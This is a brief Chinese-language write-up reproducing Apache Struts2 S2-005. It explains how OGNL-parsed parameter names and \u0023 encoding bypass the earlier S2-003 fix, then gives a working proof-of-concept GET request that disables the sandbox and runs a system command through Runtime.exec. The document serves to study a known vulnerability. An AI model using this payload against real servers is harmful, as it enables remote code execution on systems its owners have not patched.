S2-005 远程代码执行漏洞
受影响的版本:2.0.0 - 2.1.8.1
详情:http ://struts.apache.org/docs/s2-005.html
参考
参考吴汉青(作者)的《白帽说网络安全》
s2-005 是一个源自 S2-003(版本:< 2.0.12)的漏洞,此行为已在 S2-003 中过滤,但事实证明,基于将可接受参数名称列入白名单的最终修复仅部分关闭了该漏洞.
XWork 将使用 OGNL 表达式将 GET 参数的键和值解析为 Java 语句,例如:
1 | user.address.city=Bishkek&user['favoriteDrink']=kumys |
流程如下:
- 在 S2-003
\u0023
中用于绕过 struts2 的过滤器#
- S2-003 struts2后添加安全模式(沙盒)
- 在 S2-005 使用 OGNL 表达式关闭安全模式并再次绕过
漏洞复现
远程代码执行 POC(没有显示回显,使用@
代替空格):
1 | GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1 |
成功执行命令,在/tmp
文件夹下创建文件
其他一些POC在tomcat8中会返回400。由于字符\
,"
不能直接放在路径中,我们需要在发送前对其进行urlencode。
此 POC 没有显示,使用 OGNL 的表达式评估:
(aaa)(bbb)
,aaa
用作 OGNL 表达式字符串,bbb
是表达式的根对象。因此,如果我们需要执行类似的代码aaa
,需要用引号将其包裹起来,bbb
位置可以直接放置Java语句。(aaa)(bbb)=true
实际上是aaa=true
。
但是,如何准确理解,还需要进一步研究和优化。希望有人可以写一个可以显示回声的POC。